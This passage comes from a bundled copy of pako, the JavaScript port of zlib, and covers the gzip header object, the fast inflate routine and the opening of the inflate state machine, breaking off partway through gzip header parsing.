808 this.name = '';
809 /* space at name (only when reading header) */
810 // this.name_max = 0;
811 /* pointer to zero-terminated comment or Z_NULL */
812 this.comment = '';
813 /* space at comment (only when reading header) */
814 // this.comm_max = 0;
815 /* true if there was or will be a header crc */
816 this.hcrc = 0;
817 /* true when done reading gzip header (not used when writing a gzip file) */
818 this.done = false;
819 }
820
821 module.exports = GZheader;
822
823 },{}],7:[function(require,module,exports){
824 'use strict';
825
826 // (C) 1995-2013 Jean-loup Gailly and Mark Adler
827 // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
828 //
829 // This software is provided 'as-is', without any express or implied
830 // warranty. In no event will the authors be held liable for any damages
831 // arising from the use of this software.
832 //
833 // Permission is granted to anyone to use this software for any purpose,
834 // including commercial applications, and to alter it and redistribute it
835 // freely, subject to the following restrictions:
836 //
837 // 1. The origin of this software must not be misrepresented; you must not
838 // claim that you wrote the original software. If you use this software
839 // in a product, an acknowledgment in the product documentation would be
840 // appreciated but is not required.
841 // 2. Altered source versions must be plainly marked as such, and must not be
842 // misrepresented as being the original software.
843 // 3. This notice may not be removed or altered from any source distribution.
844
845 // See state defs from inflate.js
846 var BAD = 30; /* got a data error -- remain here until reset */
847 var TYPE = 12; /* i: waiting for type bits, including last-flag bit */
848
849 /*
850 Decode literal, length, and distance codes and write out the resulting
851 literal and match bytes until either not enough input or output is
852 available, an end-of-block is encountered, or a data error is encountered.
853 When large enough input and output buffers are supplied to inflate(), for
854 example, a 16K input buffer and a 64K output buffer, more than 95% of the
855 inflate execution time is spent in this routine.
856
857 Entry assumptions:
858
859 state.mode === LEN
860 strm.avail_in >= 6
861 strm.avail_out >= 258
862 start >= strm.avail_out
863 state.bits < 8
864
865 On return, state.mode is one of:
866
867 LEN -- ran out of enough output space or enough available input
868 TYPE -- reached end of block code, inflate() to interpret next block
869 BAD -- error in block data
870
871 Notes:
872
873 - The maximum input bits used by a length/distance pair is 15 bits for the
874 length code, 5 bits for the length extra, 15 bits for the distance code,
875 and 13 bits for the distance extra. This totals 48 bits, or six bytes.
876 Therefore if strm.avail_in >= 6, then there is enough input to avoid
877 checking for available input while decoding.
878
879 - The maximum bytes that a single length/distance pair can output is 258
880 bytes, which is the maximum length that can be coded. inflate_fast()
881 requires strm.avail_out >= 258 for each loop to avoid checking for
882 output space.
883 */
884 module.exports = function inflate_fast(strm, start) {
885 var state;
886 var _in; /* local strm.input */
887 var last; /* have enough input while in < last */
888 var _out; /* local strm.output */
889 var beg; /* inflate()'s initial strm.output */
890 var end; /* while out < end, enough space available */
891 //#ifdef INFLATE_STRICT
892 var dmax; /* maximum distance from zlib header */
893 //#endif
894 var wsize; /* window size or zero if not using window */
895 var whave; /* valid bytes in the window */
896 var wnext; /* window write index */
897 // Use `s_window` instead `window`, avoid conflict with instrumentation tools
898 var s_window; /* allocated sliding window, if wsize != 0 */
899 var hold; /* local strm.hold */
900 var bits; /* local strm.bits */
901 var lcode; /* local strm.lencode */
902 var dcode; /* local strm.distcode */
903 var lmask; /* mask for first level of length codes */
904 var dmask; /* mask for first level of distance codes */
905 var here; /* retrieved table entry */
906 var op; /* code bits, operation, extra bits, or */
907 /* window position, window bytes to copy */
908 var len; /* match length, unused bytes */
909 var dist; /* match distance */
910 var from; /* where to copy match from */
911 var from_source;
912
913
914 var input, output; // JS specific, because we have no pointers
915
916 /* copy state to local variables */
917 state = strm.state;
918 //here = state.here;
919 _in = strm.next_in;
920 input = strm.input;
921 last = _in + (strm.avail_in - 5);
922 _out = strm.next_out;
923 output = strm.output;
924 beg = _out - (start - strm.avail_out);
925 end = _out + (strm.avail_out - 257);
926 //#ifdef INFLATE_STRICT
927 dmax = state.dmax;
928 //#endif
929 wsize = state.wsize;
930 whave = state.whave;
931 wnext = state.wnext;
932 s_window = state.window;
933 hold = state.hold;
934 bits = state.bits;
935 lcode = state.lencode;
936 dcode = state.distcode;
937 lmask = (1 << state.lenbits) - 1;
938 dmask = (1 << state.distbits) - 1;
939
940
941 /* decode literals and length/distances until end-of-block or not enough
942 input data or output space */
943
944 top:
945 do {
946 if (bits < 15) {
947 hold += input[_in++] << bits;
948 bits += 8;
949 hold += input[_in++] << bits;
950 bits += 8;
951 }
952
953 here = lcode[hold & lmask];
954
955 dolen:
956 for (;;) { // Goto emulation
957 op = here >>> 24/*here.bits*/;
958 hold >>>= op;
959 bits -= op;
960 op = (here >>> 16) & 0xff/*here.op*/;
961 if (op === 0) { /* literal */
962 //Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?
963 // "inflate: literal '%c'\n" :
964 // "inflate: literal 0x%02x\n", here.val));
965 output[_out++] = here & 0xffff/*here.val*/;
966 }
967 else if (op & 16) { /* length base */
968 len = here & 0xffff/*here.val*/;
969 op &= 15; /* number of extra bits */
970 if (op) {
971 if (bits < op) {
972 hold += input[_in++] << bits;
973 bits += 8;
974 }
975 len += hold & ((1 << op) - 1);
976 hold >>>= op;
977 bits -= op;
978 }
979 //Tracevv((stderr, "inflate: length %u\n", len));
980 if (bits < 15) {
981 hold += input[_in++] << bits;
982 bits += 8;
983 hold += input[_in++] << bits;
984 bits += 8;
985 }
986 here = dcode[hold & dmask];
987
988 dodist:
989 for (;;) { // goto emulation
990 op = here >>> 24/*here.bits*/;
991 hold >>>= op;
992 bits -= op;
993 op = (here >>> 16) & 0xff/*here.op*/;
994
995 if (op & 16) { /* distance base */
996 dist = here & 0xffff/*here.val*/;
997 op &= 15; /* number of extra bits */
998 if (bits < op) {
999 hold += input[_in++] << bits;
1000 bits += 8;
1001 if (bits < op) {
1002 hold += input[_in++] << bits;
1003 bits += 8;
1004 }
1005 }
1006 dist += hold & ((1 << op) - 1);
1007 //#ifdef INFLATE_STRICT
1008 if (dist > dmax) {
1009 strm.msg = 'invalid distance too far back';
1010 state.mode = BAD;
1011 break top;
1012 }
1013 //#endif
1014 hold >>>= op;
1015 bits -= op;
1016 //Tracevv((stderr, "inflate: distance %u\n", dist));
1017 op = _out - beg; /* max distance in output */
1018 if (dist > op) { /* see if copy from window */
1019 op = dist - op; /* distance back in window */
1020 if (op > whave) {
1021 if (state.sane) {
1022 strm.msg = 'invalid distance too far back';
1023 state.mode = BAD;
1024 break top;
1025 }
1026
1027 // (!) This block is disabled in zlib defaults,
1028 // don't enable it for binary compatibility
1029 //#ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR
1030 // if (len <= op - whave) {
1031 // do {
1032 // output[_out++] = 0;
1033 // } while (--len);
1034 // continue top;
1035 // }
1036 // len -= op - whave;
1037 // do {
1038 // output[_out++] = 0;
1039 // } while (--op > whave);
1040 // if (op === 0) {
1041 // from = _out - dist;
1042 // do {
1043 // output[_out++] = output[from++];
1044 // } while (--len);
1045 // continue top;
1046 // }
1047 //#endif
1048 }
1049 from = 0; // window index
1050 from_source = s_window;
1051 if (wnext === 0) { /* very common case */
1052 from += wsize - op;
1053 if (op < len) { /* some from window */
1054 len -= op;
1055 do {
1056 output[_out++] = s_window[from++];
1057 } while (--op);
1058 from = _out - dist; /* rest from output */
1059 from_source = output;
1060 }
1061 }
1062 else if (wnext < op) { /* wrap around window */
1063 from += wsize + wnext - op;
1064 op -= wnext;
1065 if (op < len) { /* some from end of window */
1066 len -= op;
1067 do {
1068 output[_out++] = s_window[from++];
1069 } while (--op);
1070 from = 0;
1071 if (wnext < len) { /* some from start of window */
1072 op = wnext;
1073 len -= op;
1074 do {
1075 output[_out++] = s_window[from++];
1076 } while (--op);
1077 from = _out - dist; /* rest from output */
1078 from_source = output;
1079 }
1080 }
1081 }
1082 else { /* contiguous in window */
1083 from += wnext - op;
1084 if (op < len) { /* some from window */
1085 len -= op;
1086 do {
1087 output[_out++] = s_window[from++];
1088 } while (--op);
1089 from = _out - dist; /* rest from output */
1090 from_source = output;
1091 }
1092 }
1093 while (len > 2) {
1094 output[_out++] = from_source[from++];
1095 output[_out++] = from_source[from++];
1096 output[_out++] = from_source[from++];
1097 len -= 3;
1098 }
1099 if (len) {
1100 output[_out++] = from_source[from++];
1101 if (len > 1) {
1102 output[_out++] = from_source[from++];
1103 }
1104 }
1105 }
1106 else {
1107 from = _out - dist; /* copy direct from output */
1108 do { /* minimum length is three */
1109 output[_out++] = output[from++];
1110 output[_out++] = output[from++];
1111 output[_out++] = output[from++];
1112 len -= 3;
1113 } while (len > 2);
1114 if (len) {
1115 output[_out++] = output[from++];
1116 if (len > 1) {
1117 output[_out++] = output[from++];
1118 }
1119 }
1120 }
1121 }
1122 else if ((op & 64) === 0) { /* 2nd level distance code */
1123 here = dcode[(here & 0xffff)/*here.val*/ + (hold & ((1 << op) - 1))];
1124 continue dodist;
1125 }
1126 else {
1127 strm.msg = 'invalid distance code';
1128 state.mode = BAD;
1129 break top;
1130 }
1131
1132 break; // need to emulate goto via "continue"
1133 }
1134 }
1135 else if ((op & 64) === 0) { /* 2nd level length code */
1136 here = lcode[(here & 0xffff)/*here.val*/ + (hold & ((1 << op) - 1))];
1137 continue dolen;
1138 }
1139 else if (op & 32) { /* end-of-block */
1140 //Tracevv((stderr, "inflate: end of block\n"));
1141 state.mode = TYPE;
1142 break top;
1143 }
1144 else {
1145 strm.msg = 'invalid literal/length code';
1146 state.mode = BAD;
1147 break top;
1148 }
1149
1150 break; // need to emulate goto via "continue"
1151 }
1152 } while (_in < last && _out < end);
1153
1154 /* return unused bytes (on entry, bits < 8, so in won't go too far back) */
1155 len = bits >> 3;
1156 _in -= len;
1157 bits -= len << 3;
1158 hold &= (1 << bits) - 1;
1159
1160 /* update state and return */
1161 strm.next_in = _in;
1162 strm.next_out = _out;
1163 strm.avail_in = (_in < last ? 5 + (last - _in) : 5 - (_in - last));
1164 strm.avail_out = (_out < end ? 257 + (end - _out) : 257 - (_out - end));
1165 state.hold = hold;
1166 state.bits = bits;
1167 return;
1168 };
1169
1170 },{}],8:[function(require,module,exports){
1171 'use strict';
1172
1173 // (C) 1995-2013 Jean-loup Gailly and Mark Adler
1174 // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
1175 //
1176 // This software is provided 'as-is', without any express or implied
1177 // warranty. In no event will the authors be held liable for any damages
1178 // arising from the use of this software.
1179 //
1180 // Permission is granted to anyone to use this software for any purpose,
1181 // including commercial applications, and to alter it and redistribute it
1182 // freely, subject to the following restrictions:
1183 //
1184 // 1. The origin of this software must not be misrepresented; you must not
1185 // claim that you wrote the original software. If you use this software
1186 // in a product, an acknowledgment in the product documentation would be
1187 // appreciated but is not required.
1188 // 2. Altered source versions must be plainly marked as such, and must not be
1189 // misrepresented as being the original software.
1190 // 3. This notice may not be removed or altered from any source distribution.
1191
1192 var utils = require('../utils/common');
1193 var adler32 = require('./adler32');
1194 var crc32 = require('./crc32');
1195 var inflate_fast = require('./inffast');
1196 var inflate_table = require('./inftrees');
1197
1198 var CODES = 0;
1199 var LENS = 1;
1200 var DISTS = 2;
1201
1202 /* Public constants ==========================================================*/
1203 /* ===========================================================================*/
1204
1205
1206 /* Allowed flush values; see deflate() and inflate() below for details */
1207 //var Z_NO_FLUSH = 0;
1208 //var Z_PARTIAL_FLUSH = 1;
1209 //var Z_SYNC_FLUSH = 2;
1210 //var Z_FULL_FLUSH = 3;
1211 var Z_FINISH = 4;
1212 var Z_BLOCK = 5;
1213 var Z_TREES = 6;
1214
1215
1216 /* Return codes for the compression/decompression functions. Negative values
1217 * are errors, positive values are used for special but normal events.
1218 */
1219 var Z_OK = 0;
1220 var Z_STREAM_END = 1;
1221 var Z_NEED_DICT = 2;
1222 //var Z_ERRNO = -1;
1223 var Z_STREAM_ERROR = -2;
1224 var Z_DATA_ERROR = -3;
1225 var Z_MEM_ERROR = -4;
1226 var Z_BUF_ERROR = -5;
1227 //var Z_VERSION_ERROR = -6;
1228
1229 /* The deflate compression method */
1230 var Z_DEFLATED = 8;
1231
1232
1233 /* STATES ====================================================================*/
1234 /* ===========================================================================*/
1235
1236
1237 var HEAD = 1; /* i: waiting for magic header */
1238 var FLAGS = 2; /* i: waiting for method and flags (gzip) */
1239 var TIME = 3; /* i: waiting for modification time (gzip) */
1240 var OS = 4; /* i: waiting for extra flags and operating system (gzip) */
1241 var EXLEN = 5; /* i: waiting for extra length (gzip) */
1242 var EXTRA = 6; /* i: waiting for extra bytes (gzip) */
1243 var NAME = 7; /* i: waiting for end of file name (gzip) */
1244 var COMMENT = 8; /* i: waiting for end of comment (gzip) */
1245 var HCRC = 9; /* i: waiting for header crc (gzip) */
1246 var DICTID = 10; /* i: waiting for dictionary check value */
1247 var DICT = 11; /* waiting for inflateSetDictionary() call */
1248 var TYPE = 12; /* i: waiting for type bits, including last-flag bit */
1249 var TYPEDO = 13; /* i: same, but skip check to exit inflate on new block */
1250 var STORED = 14; /* i: waiting for stored size (length and complement) */
1251 var COPY_ = 15; /* i/o: same as COPY below, but only first time in */
1252 var COPY = 16; /* i/o: waiting for input or output to copy stored block */
1253 var TABLE = 17; /* i: waiting for dynamic block table lengths */
1254 var LENLENS = 18; /* i: waiting for code length code lengths */
1255 var CODELENS = 19; /* i: waiting for length/lit and distance code lengths */
1256 var LEN_ = 20; /* i: same as LEN below, but only first time in */
1257 var LEN = 21; /* i: waiting for length/lit/eob code */
1258 var LENEXT = 22; /* i: waiting for length extra bits */
1259 var DIST = 23; /* i: waiting for distance code */
1260 var DISTEXT = 24; /* i: waiting for distance extra bits */
1261 var MATCH = 25; /* o: waiting for output space to copy string */
1262 var LIT = 26; /* o: waiting for output space to write literal */
1263 var CHECK = 27; /* i: waiting for 32-bit check value */
1264 var LENGTH = 28; /* i: waiting for 32-bit length (gzip) */
1265 var DONE = 29; /* finished check, done -- remain here until reset */
1266 var BAD = 30; /* got a data error -- remain here until reset */
1267 var MEM = 31; /* got an inflate() memory error -- remain here until reset */
1268 var SYNC = 32; /* looking for synchronization bytes to restart inflate() */
1269
1270 /* ===========================================================================*/
1271
1272
1273
1274 var ENOUGH_LENS = 852;
1275 var ENOUGH_DISTS = 592;
1276 //var ENOUGH = (ENOUGH_LENS+ENOUGH_DISTS);
1277
1278 var MAX_WBITS = 15;
1279 /* 32K LZ77 window */
1280 var DEF_WBITS = MAX_WBITS;
1281
1282
1283 function zswap32(q) {
1284 return (((q >>> 24) & 0xff) +
1285 ((q >>> 8) & 0xff00) +
1286 ((q & 0xff00) << 8) +
1287 ((q & 0xff) << 24));
1288 }
1289
1290
1291 function InflateState() {
1292 this.mode = 0; /* current inflate mode */
1293 this.last = false; /* true if processing last block */
1294 this.wrap = 0; /* bit 0 true for zlib, bit 1 true for gzip */
1295 this.havedict = false; /* true if dictionary provided */
1296 this.flags = 0; /* gzip header method and flags (0 if zlib) */
1297 this.dmax = 0; /* zlib header max distance (INFLATE_STRICT) */
1298 this.check = 0; /* protected copy of check value */
1299 this.total = 0; /* protected copy of output count */
1300 // TODO: may be {}
1301 this.head = null; /* where to save gzip header information */
1302
1303 /* sliding window */
1304 this.wbits = 0; /* log base 2 of requested window size */
1305 this.wsize = 0; /* window size or zero if not using window */
1306 this.whave = 0; /* valid bytes in the window */
1307 this.wnext = 0; /* window write index */
1308 this.window = null; /* allocated sliding window, if needed */
1309
1310 /* bit accumulator */
1311 this.hold = 0; /* input bit accumulator */
1312 this.bits = 0; /* number of bits in "in" */
1313
1314 /* for string and stored block copying */
1315 this.length = 0; /* literal or length of data to copy */
1316 this.offset = 0; /* distance back to copy string from */
1317
1318 /* for table and code decoding */
1319 this.extra = 0; /* extra bits needed */
1320
1321 /* fixed and dynamic code tables */
1322 this.lencode = null; /* starting table for length/literal codes */
1323 this.distcode = null; /* starting table for distance codes */
1324 this.lenbits = 0; /* index bits for lencode */
1325 this.distbits = 0; /* index bits for distcode */
1326
1327 /* dynamic table building */
1328 this.ncode = 0; /* number of code length code lengths */
1329 this.nlen = 0; /* number of length code lengths */
1330 this.ndist = 0; /* number of distance code lengths */
1331 this.have = 0; /* number of code lengths in lens[] */
1332 this.next = null; /* next available space in codes[] */
1333
1334 this.lens = new utils.Buf16(320); /* temporary storage for code lengths */
1335 this.work = new utils.Buf16(288); /* work area for code table building */
1336
1337 /*
1338 because we don't have pointers in js, we use lencode and distcode directly
1339 as buffers so we don't need codes
1340 */
1341 //this.codes = new utils.Buf32(ENOUGH); /* space for code tables */
1342 this.lendyn = null; /* dynamic table for length/literal codes (JS specific) */
1343 this.distdyn = null; /* dynamic table for distance codes (JS specific) */
1344 this.sane = 0; /* if false, allow invalid distance too far */
1345 this.back = 0; /* bits back of last unprocessed length/lit */
1346 this.was = 0; /* initial length of match */
1347 }
1348
1349 function inflateResetKeep(strm) {
1350 var state;
1351
1352 if (!strm || !strm.state) { return Z_STREAM_ERROR; }
1353 state = strm.state;
1354 strm.total_in = strm.total_out = state.total = 0;
1355 strm.msg = ''; /*Z_NULL*/
1356 if (state.wrap) { /* to support ill-conceived Java test suite */
1357 strm.adler = state.wrap & 1;
1358 }
1359 state.mode = HEAD;
1360 state.last = 0;
1361 state.havedict = 0;
1362 state.dmax = 32768;
1363 state.head = null/*Z_NULL*/;
1364 state.hold = 0;
1365 state.bits = 0;
1366 //state.lencode = state.distcode = state.next = state.codes;
1367 state.lencode = state.lendyn = new utils.Buf32(ENOUGH_LENS);
1368 state.distcode = state.distdyn = new utils.Buf32(ENOUGH_DISTS);
1369
1370 state.sane = 1;
1371 state.back = -1;
1372 //Tracev((stderr, "inflate: reset\n"));
1373 return Z_OK;
1374 }
1375
1376 function inflateReset(strm) {
1377 var state;
1378
1379 if (!strm || !strm.state) { return Z_STREAM_ERROR; }
1380 state = strm.state;
1381 state.wsize = 0;
1382 state.whave = 0;
1383 state.wnext = 0;
1384 return inflateResetKeep(strm);
1385
1386 }
1387
1388 function inflateReset2(strm, windowBits) {
1389 var wrap;
1390 var state;
1391
1392 /* get the state */
1393 if (!strm || !strm.state) { return Z_STREAM_ERROR; }
1394 state = strm.state;
1395
1396 /* extract wrap request from windowBits parameter */
1397 if (windowBits < 0) {
1398 wrap = 0;
1399 windowBits = -windowBits;
1400 }
1401 else {
1402 wrap = (windowBits >> 4) + 1;
1403 if (windowBits < 48) {
1404 windowBits &= 15;
1405 }
1406 }
1407
1408 /* set number of window bits, free window if different */
1409 if (windowBits && (windowBits < 8 || windowBits > 15)) {
1410 return Z_STREAM_ERROR;
1411 }
1412 if (state.window !== null && state.wbits !== windowBits) {
1413 state.window = null;
1414 }
1415
1416 /* update state and reset the rest of it */
1417 state.wrap = wrap;
1418 state.wbits = windowBits;
1419 return inflateReset(strm);
1420 }
1421
1422 function inflateInit2(strm, windowBits) {
1423 var ret;
1424 var state;
1425
1426 if (!strm) { return Z_STREAM_ERROR; }
1427 //strm.msg = Z_NULL; /* in case we return an error */
1428
1429 state = new InflateState();
1430
1431 //if (state === Z_NULL) return Z_MEM_ERROR;
1432 //Tracev((stderr, "inflate: allocated\n"));
1433 strm.state = state;
1434 state.window = null/*Z_NULL*/;
1435 ret = inflateReset2(strm, windowBits);
1436 if (ret !== Z_OK) {
1437 strm.state = null/*Z_NULL*/;
1438 }
1439 return ret;
1440 }
1441
1442 function inflateInit(strm) {
1443 return inflateInit2(strm, DEF_WBITS);
1444 }
1445
1446
1447 /*
1448 Return state with length and distance decoding tables and index sizes set to
1449 fixed code decoding. Normally this returns fixed tables from inffixed.h.
1450 If BUILDFIXED is defined, then instead this routine builds the tables the
1451 first time it's called, and returns those tables the first time and
1452 thereafter. This reduces the size of the code by about 2K bytes, in
1453 exchange for a little execution time. However, BUILDFIXED should not be
1454 used for threaded applications, since the rewriting of the tables and virgin
1455 may not be thread-safe.
1456 */
1457 var virgin = true;
1458
1459 var lenfix, distfix; // We have no pointers in JS, so keep tables separate
1460
1461 function fixedtables(state) {
1462 /* build fixed huffman tables if first call (may not be thread safe) */
1463 if (virgin) {
1464 var sym;
1465
1466 lenfix = new utils.Buf32(512);
1467 distfix = new utils.Buf32(32);
1468
1469 /* literal/length table */
1470 sym = 0;
1471 while (sym < 144) { state.lens[sym++] = 8; }
1472 while (sym < 256) { state.lens[sym++] = 9; }
1473 while (sym < 280) { state.lens[sym++] = 7; }
1474 while (sym < 288) { state.lens[sym++] = 8; }
1475
1476 inflate_table(LENS, state.lens, 0, 288, lenfix, 0, state.work, { bits: 9 });
1477
1478 /* distance table */
1479 sym = 0;
1480 while (sym < 32) { state.lens[sym++] = 5; }
1481
1482 inflate_table(DISTS, state.lens, 0, 32, distfix, 0, state.work, { bits: 5 });
1483
1484 /* do this just once */
1485 virgin = false;
1486 }
1487
1488 state.lencode = lenfix;
1489 state.lenbits = 9;
1490 state.distcode = distfix;
1491 state.distbits = 5;
1492 }
1493
1494
1495 /*
1496 Update the window with the last wsize (normally 32K) bytes written before
1497 returning. If window does not exist yet, create it. This is only called
1498 when a window is already in use, or when output has been written during this
1499 inflate call, but the end of the deflate stream has not been reached yet.
1500 It is also called to create a window for dictionary data when a dictionary
1501 is loaded.
1502
1503 Providing output buffers larger than 32K to inflate() should provide a speed
1504 advantage, since only the last 32K of output is copied to the sliding window
1505 upon return from inflate(), and since all distances after the first 32K of
1506 output will fall in the output data, making match copies simpler and faster.
1507 The advantage may be dependent on the size of the processor's data caches.
1508 */
1509 function updatewindow(strm, src, end, copy) {
1510 var dist;
1511 var state = strm.state;
1512
1513 /* if it hasn't been done already, allocate space for the window */
1514 if (state.window === null) {
1515 state.wsize = 1 << state.wbits;
1516 state.wnext = 0;
1517 state.whave = 0;
1518
1519 state.window = new utils.Buf8(state.wsize);
1520 }
1521
1522 /* copy state->wsize or less output bytes into the circular window */
1523 if (copy >= state.wsize) {
1524 utils.arraySet(state.window, src, end - state.wsize, state.wsize, 0);
1525 state.wnext = 0;
1526 state.whave = state.wsize;
1527 }
1528 else {
1529 dist = state.wsize - state.wnext;
1530 if (dist > copy) {
1531 dist = copy;
1532 }
1533 //zmemcpy(state->window + state->wnext, end - copy, dist);
1534 utils.arraySet(state.window, src, end - copy, dist, state.wnext);
1535 copy -= dist;
1536 if (copy) {
1537 //zmemcpy(state->window, end - copy, copy);
1538 utils.arraySet(state.window, src, end - copy, copy, 0);
1539 state.wnext = copy;
1540 state.whave = state.wsize;
1541 }
1542 else {
1543 state.wnext += dist;
1544 if (state.wnext === state.wsize) { state.wnext = 0; }
1545 if (state.whave < state.wsize) { state.whave += dist; }
1546 }
1547 }
1548 return 0;
1549 }
1550
1551 function inflate(strm, flush) {
1552 var state;
1553 var input, output; // input/output buffers
1554 var next; /* next input INDEX */
1555 var put; /* next output INDEX */
1556 var have, left; /* available input and output */
1557 var hold; /* bit buffer */
1558 var bits; /* bits in bit buffer */
1559 var _in, _out; /* save starting available input and output */
1560 var copy; /* number of stored or match bytes to copy */
1561 var from; /* where to copy match bytes from */
1562 var from_source;
1563 var here = 0; /* current decoding table entry */
1564 var here_bits, here_op, here_val; // paked "here" denormalized (JS specific)
1565 //var last; /* parent table entry */
1566 var last_bits, last_op, last_val; // paked "last" denormalized (JS specific)
1567 var len; /* length to copy for repeats, bits to drop */
1568 var ret; /* return code */
1569 var hbuf = new utils.Buf8(4); /* buffer for gzip header crc calculation */
1570 var opts;
1571
1572 var n; // temporary var for NEED_BITS
1573
1574 var order = /* permutation of code lengths */
1575 [ 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15 ];
1576
1577
1578 if (!strm || !strm.state || !strm.output ||
1579 (!strm.input && strm.avail_in !== 0)) {
1580 return Z_STREAM_ERROR;
1581 }
1582
1583 state = strm.state;
1584 if (state.mode === TYPE) { state.mode = TYPEDO; } /* skip check */
1585
1586
1587 //--- LOAD() ---
1588 put = strm.next_out;
1589 output = strm.output;
1590 left = strm.avail_out;
1591 next = strm.next_in;
1592 input = strm.input;
1593 have = strm.avail_in;
1594 hold = state.hold;
1595 bits = state.bits;
1596 //---
1597
1598 _in = have;
1599 _out = left;
1600 ret = Z_OK;
1601
1602 inf_leave: // goto emulation
1603 for (;;) {
1604 switch (state.mode) {
1605 case HEAD:
1606 if (state.wrap === 0) {
1607 state.mode = TYPEDO;
1608 break;
1609 }
1610 //=== NEEDBITS(16);
1611 while (bits < 16) {
1612 if (have === 0) { break inf_leave; }
1613 have--;
1614 hold += input[next++] << bits;
1615 bits += 8;
1616 }
1617 //===//
1618 if ((state.wrap & 2) && hold === 0x8b1f) { /* gzip header */
1619 state.check = 0/*crc32(0L, Z_NULL, 0)*/;
1620 //=== CRC2(state.check, hold);
1621 hbuf[0] = hold & 0xff;
1622 hbuf[1] = (hold >>> 8) & 0xff;
1623 state.check = crc32(state.check, hbuf, 2, 0);
1624 //===//
1625
1626 //=== INITBITS();
1627 hold = 0;
1628 bits = 0;
1629 //===//
1630 state.mode = FLAGS;
1631 break;
1632 }
1633 state.flags = 0; /* expect zlib header */
1634 if (state.head) {
1635 state.head.done = false;
1636 }
1637 if (!(state.wrap & 1) || /* check if zlib header allowed */
1638 (((hold & 0xff)/*BITS(8)*/ << 8) + (hold >> 8)) % 31) {
1639 strm.msg = 'incorrect header check';
1640 state.mode = BAD;
1641 break;
1642 }
1643 if ((hold & 0x0f)/*BITS(4)*/ !== Z_DEFLATED) {
1644 strm.msg = 'unknown compression method';
1645 state.mode = BAD;
1646 break;
1647 }
1648 //--- DROPBITS(4) ---//
1649 hold >>>= 4;
1650 bits -= 4;
1651 //---//
1652 len = (hold & 0x0f)/*BITS(4)*/ + 8;
1653 if (state.wbits === 0) {
1654 state.wbits = len;
1655 }
1656 else if (len > state.wbits) {
1657 strm.msg = 'invalid window size';
1658 state.mode = BAD;
1659 break;
1660 }
1661 state.dmax = 1 << len;
1662 //Tracev((stderr, "inflate: zlib header ok\n"));
1663 strm.adler = state.check = 1/*adler32(0L, Z_NULL, 0)*/;
1664 state.mode = hold & 0x200 ? DICTID : TYPE;
1665 //=== INITBITS();
1666 hold = 0;
1667 bits = 0;
1668 //===//
1669 break;
1670 case FLAGS:
1671 //=== NEEDBITS(16); */
1672 while (bits < 16) {
1673 if (have === 0) { break inf_leave; }
1674 have--;
1675 hold += input[next++] << bits;
1676 bits += 8;
1677 }
1678 //===//
1679 state.flags = hold;
1680 if ((state.flags & 0xff) !== Z_DEFLATED) {
1681 strm.msg = 'unknown compression method';
1682 state.mode = BAD;
1683 break;
1684 }
1685 if (state.flags & 0xe000) {
1686 strm.msg = 'unknown header flags set';
1687 state.mode = BAD;
1688 break;
1689 }
1690 if (state.head) {
1691 state.head.text = ((hold >> 8) & 1);
1692 }
1693 if (state.flags & 0x0200) {
1694 //=== CRC2(state.check, hold);
1695 hbuf[0] = hold & 0xff;
1696 hbuf[1] = (hold >>> 8) & 0xff;
1697 state.check = crc32(state.check, hbuf, 2, 0);
1698 //===//
1699 }
1700 //=== INITBITS();
1701 hold = 0;
1702 bits = 0;
1703 //===//
1704 state.mode = TIME;
1705 /* falls through */
1706 case TIME:
1707 //=== NEEDBITS(32); */
1708 while (bits < 32) {
1709 if (have === 0) { break inf_leave; }
1710 have--;
1711 hold += input[next++] << bits;
1712 bits += 8;
1713 }
1714 //===//
1715 if (state.head) {
1716 state.head.time = hold;
1717 }
1718 if (state.flags & 0x0200) {
1719 //=== CRC4(state.check, hold)
1720 hbuf[0] = hold & 0xff;
1721 hbuf[1] = (hold >>> 8) & 0xff;
1722 hbuf[2] = (hold >>> 16) & 0xff;
1723 hbuf[3] = (hold >>> 24) & 0xff;
1724 state.check = crc32(state.check, hbuf, 4, 0);
1725 //===
1726 }
1727 //=== INITBITS();
1728 hold = 0;
1729 bits = 0;
1730 //===//
1731 state.mode = OS;
1732 /* falls through */
1733 case OS:
1734 //=== NEEDBITS(16); */
1735 while (bits < 16) {
1736 if (have === 0) { break inf_leave; }
1737 have--;
1738 hold += input[next++] << bits;
1739 bits += 8;
1740 }
1741 //===//
1742 if (state.head) {
1743 state.head.xflags = (hold & 0xff);
1744 state.head.os = (hold >> 8);
1745 }
1746 if (state.flags & 0x0200) {
1747 //=== CRC2(state.check, hold);
1748 hbuf[0] = hold & 0xff;
1749 hbuf[1] = (hold >>> 8) & 0xff;
1750 state.check = crc32(state.check, hbuf, 2, 0);
1751 //===//
1752 }
1753 //=== INITBITS();
1754 hold = 0;
1755 bits = 0;
1756 //===//
1757 state.mode = EXLEN;
1758 /* falls through */
1759 case EXLEN:
1760 if (state.flags & 0x0400) {
1761 //=== NEEDBITS(16); */
1762 while (bits < 16) {
1763 if (have === 0) { break inf_leave; }
1764 have--;
1765 hold += input[next++] << bits;
1766 bits += 8;
1767 }
1768 //===//
1769 state.length = hold;
1770 if (state.head) {
1771 state.head.extra_len = hold;
1772 }
1773 if (state.flags & 0x0200) {
1774 //=== CRC2(state.check, hold);
1775 hbuf[0] = hold & 0xff;
1776 hbuf[1] = (hold >>> 8) & 0xff;
1777 state.check = crc32(state.check, hbuf, 2, 0);
1778 //===//
1779 }
1780 //=== INITBITS();
1781 hold = 0;
1782 bits = 0;
1783 //===//
1784 }
1785 else if (state.head) {
1786 state.head.extra = null/*Z_NULL*/;
1787 }
1788 state.mode = EXTRA;
1789 /* falls through */
1790 case EXTRA:
1791 if (state.flags & 0x0400) {
1792 copy = state.length;
1793 if (copy > have) { copy = have; }
1794 if (copy) {
1795 if (state.head) {
1796 len = state.head.extra_len - state.length;
1797 if (!state.head.extra) {
1798 // Use untyped array for more convenient processing later
1799 state.head.extra = new Array(state.head.extra_len);
1800 }
1801 utils.arraySet(
1802 state.head.extra,
1803 input,
1804 next,
1805 // extra field is limited to 65536 bytes
1806 // - no need for additional size check
1807 copy,
1808 /*len + copy > state.head.extra_max - len ? state.head.extra_max : copy,*/
1809 len
1810 );
1811 //zmemcpy(state.head.extra + len, next,
1812 // len + copy > state.head.extra_max ?
1813 // state.head.extra_max - len : copy);
1814 }
